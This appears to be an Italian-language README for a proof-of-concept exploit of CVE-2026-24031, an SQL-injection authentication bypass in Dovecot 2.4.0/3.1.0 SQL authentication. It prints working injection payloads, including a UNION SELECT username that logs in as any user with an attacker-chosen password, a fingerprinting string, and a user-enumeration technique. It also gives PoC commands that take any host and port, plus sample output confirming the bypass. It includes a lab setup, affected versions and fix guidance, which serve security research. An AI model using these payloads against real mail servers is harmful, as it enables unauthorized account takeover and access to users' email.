
PoC Python autonomo per il bypass dell'autenticazione SQL di Dovecot: accede come qualsiasi utente senza la password reale ed enumera i nomi utente sui server IMAP/POP3 vulnerabili 2.4.0/3.1.0.
Questo repository contiene un exploit proof-of-concept per il bypass dell'autenticazione di CVE-2026-24031, un'iniezione SQL nell'autenticazione basata su SQL di Dovecot, introdotta come regressione in Dovecot 2.4.0 / 3.1.0. Nel lab Docker testato (Dovecot 2.4.0 + PostgreSQL), la PoC effettua l'accesso come qualsiasi utente senza conoscerne la password reale e può anche enumerare gli utenti.
Avvertenza
Questa PoC esegue un bypass dell'autenticazione senza credenziali contro un server di posta. Usala solo contro un lab di tua proprietà o contro target che sei esplicitamente autorizzato a testare. Non modifica lo stato del server, ma esercita il meccanismo di autenticazione e potrebbe lasciare voci di login falliti nei log.
L'autenticazione basata su SQL di Dovecot è vulnerabile quando l'amministratore svuota la direttiva di configurazione auth_username_chars (la imposta a un valore vuoto). Normalmente auth_username_chars agisce come un filtro di input che limita quali caratteri sono consentiti in un nome utente prima che il nome utente venga interpolato nella query SQL della passdb.
Con auth_username_chars = vuoto, il valore viene passato alla query senza sql_escape_string(). Un nome utente appositamente creato contenente metacaratteri SQL diventa quindi parte della query:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
Il seguente payload fa sì che la query restituisca una riga per VICTIM con una password scelta dall'attaccante:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} viene interpretato da Dovecot (non dal database), quindi lo schema della password viene gestito nativamente e il trucco funziona su pgsql, mysql, mariadb e sqlite. L'invio di 12345 come password corrisponde quindi, producendo LOGIN OK come VICTIM senza conoscere la password reale.
La query risultante è:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
Si tratta di una regressione introdotta in Dovecot 2.4.0, presente anche in 3.1.0. Le release precedenti 2.2.x / 2.3.x applicano l'escape al nome utente e non sono vulnerabili. La vulnerabilità è corretta in 2.4.3 e 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).
La vulnerabilità si applica solo quando tutte queste condizioni sono vere:
driver = sql) che usa pgsql, mysql, mariadb o sqlite;auth_username_chars = (vuoto) — la condizione scatenante impostata dall'amministratore;La PoC è stata validata contro Dovecot 2.4.0 (tag di rilascio ufficiale, daeb6bc5) + PostgreSQL.
Autenticati con nome utente ' OR '1'='1' -- e una password arbitraria. Su un server vulnerabile la query viene alterata, quindi Dovecot restituisce a1 NO [UNAVAILABLE] Temporary authentication failure. invece del classico AUTHENTICATIONFAILED. Questa è l'impronta che il nome utente ha raggiunto la query SQL senza escape.
Autenticati con nome utente:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
e password 12345. La riga UNION sovrascrive la colonna password per VICTIM e {PLAIN} viene interpretato da Dovecot, quindi il controllo della password riesce.
Poiché la forma del risultato della query differisce tra "utente esistente" e "utente inesistente" (numero di righe e stato della risposta), il server rivela se un nome utente esiste. Questo funziona contro ogni backend interessato.
La PoC è uno script Python 3 autonomo (sola libreria standard). Avvia il lab vulnerabile ed esegui l'exploit:
./run.sh
run.sh compila e avvia il lab Docker (lab/docker-compose.yml), attende IMAPS su 127.0.0.1:14193, quindi esegue la PoC. Il lab compila Dovecot 2.4.0 dal tarball di rilascio ufficiale con una configurazione volutamente vulnerabile e un database PostgreSQL.
Passaggi manuali equivalenti:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
Opzioni della PoC:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
Il database del lab popola questi utenti: admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass e victim/supersecret. La PoC impersona admin senza conoscerne la password.
La PoC è stata validata end-to-end nel lab Docker. La password reale dell'utente admin è admin123; la PoC effettua l'accesso come admin usando 12345.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
Il transcript completo ripulito, incluse le fasi di controllo legittimo e di rilevamento della mancata escape, si trova in docs/example-output.txt.
La demo animata all'inizio di questo README (assets/CVE-2026-24031.gif) è stata registrata da una sessione reale contro il lab in esecuzione. Rigenerala con:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh guida la dimostrazione dal vivo; demo.cast è la registrazione asciinema grezza usata per generare la GIF.
L'advisory (OXDC-ADV-2026-0001, DOV-8781) è già stato rilasciato upstream; Dovecot 2.4.3 / 3.1.4 applica l'escape al nome utente prima di interpolarlo nella query SQL. La correzione quindi non è duplicata in questo repository. L'indurimento consigliato è non svuotare mai auth_username_chars, oppure aggiornare a una release corretta.
Scoperta della vulnerabilità: whisperer@yeswehack.
Ricerca e implementazione dell'exploit: A. Ramos <[email protected]>
(Twitter: @aramosf).
CVE-2026-24031 PoC per il bypass dell'autenticazione SQL di Dovecot (bypass dell'autenticazione + enumerazione utenti)
| Linea | Stato |
|---|
| Dovecot 2.2.x | Non interessato (il nome utente viene sottoposto a escape) |
| Dovecot 2.3.x | Non interessato (il nome utente viene sottoposto a escape) |
| Dovecot 2.4.0 | Vulnerabile (regressione: nome utente non sottoposto a escape) |
| Dovecot 2.4.3+ | Corretto (il nome utente viene sottoposto a escape) |
| Dovecot 3.1.0 | Vulnerabile (stessa regressione) |
| Dovecot 3.1.4+ | Corretto (il nome utente viene sottoposto a escape) |